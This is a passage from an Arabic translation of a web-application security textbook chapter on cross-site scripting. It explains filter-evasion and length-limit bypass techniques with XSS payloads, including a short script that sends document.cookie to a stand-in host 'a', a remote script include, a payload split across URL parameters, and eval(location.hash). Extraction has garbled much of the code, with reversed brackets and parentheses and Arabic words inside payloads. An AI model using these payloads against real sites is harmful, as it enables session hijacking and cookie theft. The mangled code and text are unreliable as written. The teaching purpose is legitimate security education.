ﺇﻣﻜﺎﻧﻴﺔﺍﺳﺘﻐﻼﻝ ﺍﻟﺘﺮﺗﻴﺐ ﺃﻭ ﺍﻟﺘﻔﺎﻋﻞ ﺑﻴﻨﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﻔﻠﺘﺮ ﺑﺈﺯﺍﻟﺔ >ﻧﺺ<ﺑﺸﻜﻞ
ﻣﺘﻜﺮﺭﺛﻢ ﺍﻟﺸﺮﺍﺉﻂ >ﻛﺎﺉﻦ<
ﺑﺸﻜﻞﻣﺘﻜﺮﺭ ،ﻗﺪ ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ:
<>scr>object<ipt<alert)1(>/script
ﻋﻨﺪﺣﻘﻦ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ ﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ ،ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺃﻥ ﺗﺠﺪ ﺃﻥ
ﺍﻟﺘﻄﺒﻴﻖﻳﻨُﻘﻲّ ﻣﺪُﺧﻼﺗﻚ ﺑﻮﺿﻊ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻗﺒﻞ ﺃﻱ ﺣﺮﻑ ﻣﻦ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ
ﺗﺮُﺳﻠﻪ.ﻫﺬﺍ ﻳﺠُﻨﺐّ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ،ﻭﻳﻤﻨﻌﻚ ﻣﻦ ﺇﻧﻬﺎء ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﻭﺣﻘﻦ ﻧﺺ ﺑﺮﻣﺠﻲ
ﻋﺸﻮﺍﺉﻲ.ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺩﺍﺉﻤﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻳﺘﻢ ﺇﻫﺪﺍﺭ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ
ﺍﻟﻌﻜﺴﻴﺔﻧﻔﺴﻬﺎ .ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﺍﻷﻣﺮ ﻛﺬﻟﻚ ،ﻳﻤُﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮُﺷﺢّ ﺑﺒﺴﺎﻃﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ
ﻛﻨﺖﺗﺘﺤﻜﻢ ﻓﻲ ﺍﻟﻘﻴﻤﺔﻓﻮﻓﻲ:
;'var a = 'foo
ﻳﻤﻜﻨﻚﺣﻘﻦ:
;//ﺗﻨﺒﻴﻪ)foo\'; (1
ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ ،ﺣﻴﺚ ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﺗﻢ ﺣﻘﻨﻪ .ﻻﺣﻆ
ﺍﺳﺘﺨﺪﺍﻡﺭﻣﺰ ﺍﻟﺘﻌﻠﻴﻖ ﻓﻲ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ //ﻟﻠﺘﻌﻠﻴﻖ ﻋﻠﻰ
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 470
ﺑﻘﻴﺔﺍﻟﺴﻄﺮ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻣﻨﻊ ﺣﺪﻭﺙ ﺧﻄﺄ ﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ﺑﺴﺒﺐ ﻓﺎﺻﻞ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺨﺎﺹ ﺑﺎﻟﺘﻄﺒﻴﻖ:
ﻫﻨﺎ،ﺇﺫﺍ ﻭﺟﺪﺕ ﺃﻥ ﺣﺮﻑ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻳﺘﻢ ﺃﻳﻀﺎً ﺍﻹﻓﻼﺕ ﻣﻨﻪ ﺑﺸﻜﻞ ﺻﺤﻴﺢ ،ﻭﻟﻜﻦ
ﻳﺘﻢﺇﺭﺟﺎﻉ ﺃﻗﻮﺍﺱ ﺍﻟﺰﺍﻭﻳﺔ ﻏﻴﺮ ﺍﻟﻤﻨﻈﻔﺔ ،ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ:
<>/scriptﺗﻨﺒﻴﻪ)>/script<>script<(1
ﻳﺆﺩﻱﻫﺬﺍ ﻓﻌﻠﻴﺎً ﺇﻟﻰ ﺍﻟﺘﺨﻠﻲ ﻋﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ ﻟﻠﺘﻄﺒﻴﻖ ﻭﺣﻘﻦ ﺑﺮﻧﺎﻣﺞ ﺟﺪﻳﺪ ﺑﻌﺪﻩ
ﻣﺒﺎﺷﺮﺓً.ﻳﻨﺠﺢ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﻷﻥ ﺗﺤﻠﻴﻞ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻟﻮﺳﻢ HTMLﻟﻪ ﺍﻷﻭﻟﻮﻳﺔ ﻋﻠﻰ ﺗﺤﻠﻴﻠﻬﺎ ﻟﺠﺎﻓﺎ
ﺳﻜﺮﻳﺒﺖﺍﻟﻤﻀُﻤﻦّ:
<>script<var a = '>/script<>script<alert)1(>/script
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ ﻳﺤﺘﻮﻱ ﺍﻵﻥ ﻋﻠﻰ ﺧﻄﺄ ﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ،ﻓﻬﺬﺍ ﻻ ﻳﻬﻢ ،ﻷﻥ
ﺍﻟﻤﺘﺼﻔﺢﻳﻨﺘﻘﻞ ﺇﻟﻰ ﺍﻟﺨﻄﻮﺓ ﺍﻟﺘﺎﻟﻴﺔ ﻭﻳﻨﻔﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﻗﻤﺖ ﺑﺤﻘﻨﻪ ﺑﻐﺾ ﺍﻟﻨﻈﺮ ﻋﻦ ﺍﻟﺨﻄﺄ
ﻓﻲﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻷﺻﻠﻲ.
ﺟﺮﺑﻬﺎ!
/48/ http://mdsec.net/search/52/
http://mdsec.net/search
ﻧﺼﻴﺤﺔﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺍﻟﺤﻘﻦ ﻓﻲ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ،ﻭﻟﻜﻦ ﻻ ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ
ﻷﻧﻬﺎﻳﺘﻢ ﺍﻹﻓﻼﺕ ﻣﻨﻬﺎ ،ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡﺳﻠﺴﻠﺔ ﻣﻦ ﺭﻣﺰ ﺍﻟﺤﺮﻑﺗﻘﻨﻴﺔ ﻹﻧﺸﺎء ﺳﻼﺳﻞ ﺩﻭﻥ
ﺍﻟﺤﺎﺟﺔﺇﻟﻰ ﻓﻮﺍﺻﻞ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً.
ﻓﻲﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﻜﻮﻥ ﻓﻴﻬﺎ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﺬﻱ ﺗﺤُﻘﻨﻪ ﻣﻮﺟﻮﺩﺍً ﺩﺍﺧﻞ ﻣﻌُﺎﻟﺞ ﺣﺪﺙ ،ﻭﻟﻴﺲ
ﻛﺘﻠﺔﻧﺺ ﺑﺮﻣﺠﻲ ﻛﺎﻣﻠﺔ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺮﻣﻴﺰ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺑﺘﻨﺴﻴﻖ HTMLﻟﺘﺠﺎﻭﺯ ﺗﻌﻘﻴﻢ
ﺍﻟﺘﻄﺒﻴﻖﻭﺍﻟﺨﺮﻭﺝ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﺑﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻛﻨﺖ ﺗﺘﺤﻜﻢ ﻓﻲ ﺍﻟﻘﻴﻤﺔﻓﻮ
ﻓﻲ:
ﻭﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺘﺠﻨﺐ ﺑﺸﻜﻞ ﺻﺤﻴﺢ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﻭﺍﻟﻮﺍﺻﻼﺕ ﺍﻟﻌﻜﺴﻴﺔ ﻓﻲ ﺍﻟﻤﺪﺧﻼﺕ
ﺍﻟﺨﺎﺻﺔﺑﻚ ،ﻓﻘﺪ ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ:
foo'; alert)1(;//
ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ ،ﻭﻷﻥ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺗﻘﻮﻡ ﺑﻔﻚ ﺗﺸﻔﻴﺮ HTMLﻗﺒﻞ ﺗﻨﻔﻴﺬ
ﻣﻌﺎﻟﺞﺍﻟﺤﺪﺙ ﻛـ ،JavaScriptﻓﺈﻥ ﺍﻟﻬﺠﻮﻡ ﻳﻨﺠﺢ:
ﺇﻥﻓﻚ ﺗﺸﻔﻴﺮ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﺑﻠﻐﺔ HTMLﻗﺒﻞ ﺗﻨﻔﻴﺬﻫﺎ ﺑﺼﻴﻐﺔ JavaScriptﻳﻤُﺜﻞ ﺗﺤﺬﻳﺮﺍً
ﻫﺎﻣﺎًﻟﻠﺘﻮﺻﻴﺔ ﺍﻟﻘﻴﺎﺳﻴﺔ ﺑﺘﺮﻣﻴﺰ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻠﻐﺔ HTMLﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ .XSSﻓﻲ ﻫﺬﺍ
ﺍﻟﺴﻴﺎﻕﺍﻟﻨﺤﻮﻱ ،ﻻ ﻳﻌُﺪ ﺗﺮﻣﻴﺰ HTMLﻋﺎﺉﻘﺎً ﺃﻣﺎﻡ ﺍﻟﻬﺠﻮﻡ ﺑﺎﻟﻀﺮﻭﺭﺓ ،ﺑﻞ ﻗﺪ ﻳﺴﺘﺨﺪﻣﻪ ﺍﻟﻤﻬﺎﺟﻢ
ﻧﻔﺴﻪﻟﻼﻟﺘﻔﺎﻑ ﻋﻠﻰ ﺩﻓﺎﻋﺎﺕ ﺃﺧﺮﻯ.
ﺗﺠﺎﻭﺯﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ
ﻋﻨﺪﻣﺎﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻠﻴﺺ ﺇﺩﺧﺎﻟﻚ ﺇﻟﻰ ﻃﻮﻝ ﺃﻗﺼﻰ ﺛﺎﺑﺖ ،ﻳﻜﻮﻥ ﻟﺪﻳﻚ ﺛﻼﺛﺔ ﻃﺮﻕ ﻣﻤﻜﻨﺔ
ﻹﻧﺸﺎءﺍﺳﺘﻐﻼﻝ ﻓﻌﺎﻝ.
ﺍﻟﻄﺮﻳﻘﺔﺍﻷﻭﻟﻰ ،ﻭﻫﻲ ﺑﺪﻳﻬﻴﺔ ﻧﻮﻋﺎً ﻣﺎ ،ﻫﻲ ﻣﺤﺎﻭﻟﺔ ﺗﻘﺼﻴﺮ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻭﺍﺟﻬﺎﺕ
ﺑﺮﻣﺠﺔﺗﻄﺒﻴﻘﺎﺕ JavaScriptﺑﺄﻗﺼﺮ ﻃﻮﻝ ﻣﻤﻜﻦ ،ﻭﺇﺯﺍﻟﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﻀُﻤﻨﺔ ﻋﺎﺩﺓ ًﻭﻟﻜﻨﻬﺎ ﻏﻴﺮ
ﺿﺮﻭﺭﻳﺔﺗﻤﺎﻣﺎً .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻛﻨﺖ ﺗﺤُﻘﻦ ﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ ،ﻓﺈﻥ ﺍﻷﻣﺮ ﺍﻟﺘﺎﻟﻲ
ﺍﻟﻤﻜﻮﻥﻣﻦ 28ﺑﺎﻳﺖ ﻳﺮُﺳﻞ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺍﻟﺨﺎﺩﻡ ﺑﺎﺳﻢ ﺍﻟﻤﻀﻴﻒ.ﺃ:
ﺍﻓﺘﺢ)"(a/"+document.cookie//
ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ ،ﺇﺫﺍ ﻛﻨﺖ ﺗﻘﻮﻡ ﺑﺎﻟﺤﻘﻦ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ،HTMLﻓﺈﻥ ﺍﻟﻌﻼﻣﺔ ﺍﻟﺘﺎﻟﻴﺔ ﺍﻟﻤﻜﻮﻧﺔ ﻣﻦ 30
ﺑﺎﻳﺖﺗﻘﻮﻡ ﺑﺘﺤﻤﻴﻞ ﻭﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺑﺎﺳﻢ ﺍﻟﻤﻀﻴﻒﺃ:
<>script src=http://a<>/script
ﻋﻠﻰﺍﻹﻧﺘﺮﻧﺖ ،ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﺃﻥ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺗﻮﺳﻴﻊ ﻟﺘﺸﻤﻞ ﺍﺳﻢ ﻧﻄﺎﻕ ﺃﻭ ﻋﻨﻮﺍﻥ IP
ﺻﺎﻟﺤﺎً.ﻭﻣﻊ ﺫﻟﻚ ،ﻋﻠﻰ ﺷﺒﻜﺔ ﺩﺍﺧﻠﻴﺔ ﻟﻠﺸﺮﻛﺔ ،ﻗﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺟﻬﺎﺯ ﻳﺤﻤﻞ ﺍﺳﻢ
.WINSﺃ
ﻻﺳﺘﻀﺎﻓﺔﺧﺎﺩﻡ ﺍﻟﻤﺘﻠﻘﻲ.
ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﺩﺍﺓ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻣﻦ ﺩﻳﻦ ﺇﺩﻭﺍﺭﺩﺯ ﻟﺘﻘﻠﻴﺺ ﺣﺠﻢ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻌﻴﻦ
ﻗﺪﺭﺍﻹﻣﻜﺎﻥ ﻋﻦ ﻃﺮﻳﻖ ﺇﺯﺍﻟﺔ ﺍﻟﻤﺴﺎﻓﺎﺕ ﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻳﺔ .ﻛﻤﺎ ﺗﺤُﻮﻝّ ﻫﺬﻩ ﺍﻷﺩﺍﺓ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ
ﺇﻟﻰﺳﻄﺮ ﻭﺍﺣﺪ ﻟﺘﺴﻬﻴﻞ ﺇﺩﺭﺍﺟﻬﺎ ﻓﻲ ﻣﻌﻠﻤﺔ ﺍﻟﻄﻠﺐ.
http://dean.edwards.name/packer/
ﺍﻟﺘﻘﻨﻴﺔﺍﻟﺜﺎﻧﻴﺔ ،ﻭﺍﻟﺘﻲ ﻳﺤُﺘﻤﻞ ﺃﻥ ﺗﻜﻮﻥ ﺃﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻟﺘﺠﺎﻭﺯ ﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ ،ﻫﻲ ﺗﻮﺯﻳﻊ ﺣﻤﻮﻟﺔ
ﺍﻟﻬﺠﻮﻡﻋﺒﺮ ﻣﻮﺍﻗﻊ ﻣﺘﻌﺪﺩﺓ ﻣﺨﺘﻠﻔﺔ ،ﺣﻴﺚ ﺗﺪُﺭﺝ ﻣﺪﺧﻼﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ
ﺍﻟﺼﻔﺤﺔﺍﻟﻤﻌُﺎﺩﺓ ﻧﻔﺴﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺍﻧﻈﺮ ﺇﻟﻰ ﻋﻨﻮﺍﻥ URLﺍﻟﺘﺎﻟﻲ:
https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal
>ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﻣﻌﺮﻑ ﺍﻟﺼﻔﺤﺔ" ﻗﻴﻤﺔ = "> <"244ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "
ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﺑﺬﺭﺓ" ﻗﻴﻤﺔ = "> <"129402931ﺇﺩﺧﺎﻝ ﻧﻮﻉ = "ﻣﺨﻔﻲ" ﺍﺳﻢ = "ﺍﻟﻮﺿﻊ
" ﻗﻴﻤﺔ = "ﻋﺎﺩﻱ"<
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 472
ﻟﻨﻔﺘﺮﺽﺃﻥ ﻟﻜﻞ ﺣﻘﻞ ﻗﻴﻮﺩﺍً ﻋﻠﻰ ﺍﻟﻄﻮﻝ ،ﺑﺤﻴﺚ ﻻ ﻳﻤﻜﻦ ﺇﺩﺭﺍﺝ ﺃﻱ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻣﻴﺔ ﻗﺎﺑﻠﺔ
ﻟﻠﺘﻄﺒﻴﻖﻓﻲ ﺃﻱ ٍّﻣﻨﻬﺎ .ﻣﻊ ﺫﻟﻚ ،ﻻ ﻳﺰﺍﻝ ﺑﺈﻣﻜﺎﻧﻚ ﺗﻨﻔﻴﺬ ﺍﺳﺘﻐﻼﻝ ﻓﻌﺎﻝ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﻨﻮﺍﻥ URL
ﺍﻟﺘﺎﻟﻲﻟﺘﻮﺳﻴﻊ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺜﻼﺛﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﻓﻴﻬﺎ:
</account.php?page_id=”<>script</*&seed=*/alert)document . cookie(;/*&mode=*/>/script
https://myapp.com
ﻋﻨﺪﻣﺎﻳﺘﻢ ﺗﻀﻤﻴﻦ ﻗﻴﻢ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﻦ ﻋﻨﻮﺍﻥ URLﻫﺬﺍ ﻓﻲ ﺍﻟﺼﻔﺤﺔ ،ﺗﻜﻮﻥ ﺍﻟﻨﺘﻴﺠﺔ ﻛﻤﺎ ﻳﻠﻲ:
ﻛﻮﺩ HTMLﺍﻟﻨﺎﺗﺞ ﺻﺤﻴﺢ ،ﻭﻫﻮ ﻣﻌُﺎﺩﻝ ﻟﻸﺟﺰﺍء ﺍﻟﻤﻜﺘﻮﺑﺔ ﺑﺨﻂ ﻏﺎﻣﻖ ﻓﻘﻂ .ﺃﻣﺎ ﺃﺟﺰﺍء ﺍﻟﻜﻮﺩ
ﺍﻟﻤﺼﺪﺭﻱﺑﻴﻨﻬﻤﺎ ،ﻓﻘﺪ ﺃﺻﺒﺤﺖ ﻓﻌﻠﻴﺎً ﺗﻌﻠﻴﻘﺎﺕ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ )ﻣﺤﺎﻃﺔ ﺑﻌﻼﻣﺘﻲ */ﻭ* ،(/ﻟﺬﺍ
ﻳﺘﺠﺎﻫﻠﻬﺎﺍﻟﻤﺘﺼﻔﺢ .ﻭﺑﺎﻟﺘﺎﻟﻲ ،ﻳﻨُﻔﺬَّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻛﻤﺎ ﻟﻮ ﺃﻧﻪ ﺃﺩُﺭﺝ ﻛﺎﻣﻼً ﻓﻲ ﻣﻜﺎﻥ ﻭﺍﺣﺪ ﺩﺍﺧﻞ
ﺍﻟﺼﻔﺤﺔ.
ﻧﺼﻴﺤﺔﻳﻤﻜﻦ ﺃﺣﻴﺎﻧﺎً ﺍﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺔ ﺗﻮﺯﻳﻊ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻋﺒﺮ ﺣﻘﻮﻝ ﻣﺘﻌﺪﺩﺓ ﻟﻠﺘﻐﻠﺐ ﻋﻠﻰ ﺃﻧﻮﺍﻉ
ﺃﺧﺮﻯﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ .ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺟﺪﺍً ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻋﻤﻠﻴﺎﺕ ﺗﺤﻘﻖ ﻭﺗﻄﻬﻴﺮ ﻣﺨﺘﻠﻔﺔ
ﻟﻠﺒﻴﺎﻧﺎﺕﺗﻨُﻔﺬَّ ﻋﻠﻰ ﺣﻘﻮﻝ ﻣﺨﺘﻠﻔﺔ ﺿﻤﻦ ﺻﻔﺤﺔ ﻭﺍﺣﺪﺓ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ .ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ ،ﻟﻨﻔﺘﺮﺽ
ﺃﻥﻣﻌﺮﻑ ﺍﻟﺼﻔﺤﺔﻭﻭﺿﻊﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﺤﺪﻭﺩﺓ ﺑـ ١٢ﺣﺮﻓﺎً ﻛﺤﺪ ﺃﻗﺼﻰ .ﻭﻷﻥ ﻫﺬﻩ ﺍﻟﺤﻘﻮﻝ ﻗﺼﻴﺮﺓ ﺟﺪﺍً،
ﻟﻢﻳﻜُﻠﻒ ﻣﻄﻮﺭﻭ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻧﻔﺴﻬﻢ ﻋﻨﺎء ﺗﻄﺒﻴﻖ ﺃﻱ ﻣﺮﺷﺤﺎﺕ .XSSﺑﺬﺭﺓﻣﻦ ﻧﺎﺣﻴﺔ ﺃﺧﺮﻯ ،ﻓﺈﻥ
ﺍﻟﻤﻌﻠﻤﺔﻏﻴﺮ ﻣﻘﻴﺪﺓ ﻓﻲ ﺍﻟﻄﻮﻝ ،ﻟﺬﺍ ﺗﻢ ﺗﻨﻔﻴﺬ ﻣﺮﺷﺤﺎﺕ ﺻﺎﺭﻣﺔ ﻟﻤﻨﻊ ﺣﻘﻦ ﺍﻷﺣﺮﻑ"> ﺃﻭ < .ﻓﻲ ﻫﺬﺍ
ﺍﻟﺴﻴﻨﺎﺭﻳﻮ،ﻭﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺟﻬﻮﺩ ﺍﻟﻤﻄﻮﺭﻳﻦ ،ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﺩﺭﺍﺝ ﻧﺺ ﺑﺮﻣﺠﻲ ﻃﻮﻳﻞ ﺑﺸﻜﻞ
ﻋﺸﻮﺍﺉﻲﻓﻲﺑﺬﺭﺓﺍﻟﻤﻌﻠﻤﺔ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﻣﻦ ﺍﻷﺣﺮﻑ ﺍﻟﻤﺤﻈﻮﺭﺓ ،ﻷﻥ ﺳﻴﺎﻕ JavaScriptﻳﻤﻜﻦ
ﺇﻧﺸﺎﺅﻩﻋﻦ ﻃﺮﻳﻖ ﺣﻘﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻓﻲ ﺍﻟﺤﻘﻮﻝ ﺍﻟﻤﺤﻴﻄﺔ.
ﻫﻨﺎﻙﺗﻘﻨﻴﺔ ﺛﺎﻟﺜﺔ ﻟﺘﺠﺎﻭﺯ ﺣﺪﻭﺩ ﺍﻟﻄﻮﻝ ،ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﻜﻮﻥ ﻓﻌﺎّﻟﺔ ﻟﻠﻐﺎﻳﺔ ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻭﻫﻲ "
ﺗﺤﻮﻳﻞ" ﺛﻐﺮﺓ XSSﻣﻨﻌﻜﺴﺔ ﺇﻟﻰ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻗﺎﺉﻤﺔ ﻋﻠﻰ .DOMﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻓﻲ ﺛﻐﺮﺓ XSS
ﺍﻟﻤﻨﻌﻜﺴﺔﺍﻷﺻﻠﻴﺔ ،ﺇﺫﺍ ﻓﺮﺽ ﺍﻟﺘﻄﺒﻴﻖ ﻗﻴﺪﺍً ﻋﻠﻰ ﻃﻮﻝﺭﺳﺎﻟﺔﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﻌﻠﻤﺔ ﺍﻟﺘﻲ ﺗﻢ ﻧﺴﺨﻬﺎ ﺇﻟﻰ
ﺍﻟﺼﻔﺤﺔﺍﻟﻤﺮﺗﺠﻌﺔ ،ﻳﻤﻜﻨﻚ ﺣﻘﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻤﻜﻮﻥ ﻣﻦ 45ﺑﺎﻳﺖ ،ﻭﺍﻟﺬﻱ ﻳﻘﻮﻡ ﺑﺘﻘﻴﻴﻢ
ﺳﻠﺴﻠﺔﺍﻟﻤﻘﻄﻊ ﻓﻲ ﻋﻨﻮﺍﻥ URLﺍﻟﺤﺎﻟﻲ:
<>script<eval)location.hash.slice)1((>/script
ﻣﻦﺧﻼﻝ ﺣﻘﻦ ﻫﺬﺍ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻓﻲ ﺍﻟﻤﻌﻠﻤﺔ ﺍﻟﻤﻌﺮﺿﺔ ﻟـ XSSﺍﻟﻤﻨﻌﻜﺲ ،ﻳﻤﻜﻨﻚ ﺇﺣﺪﺍﺙ
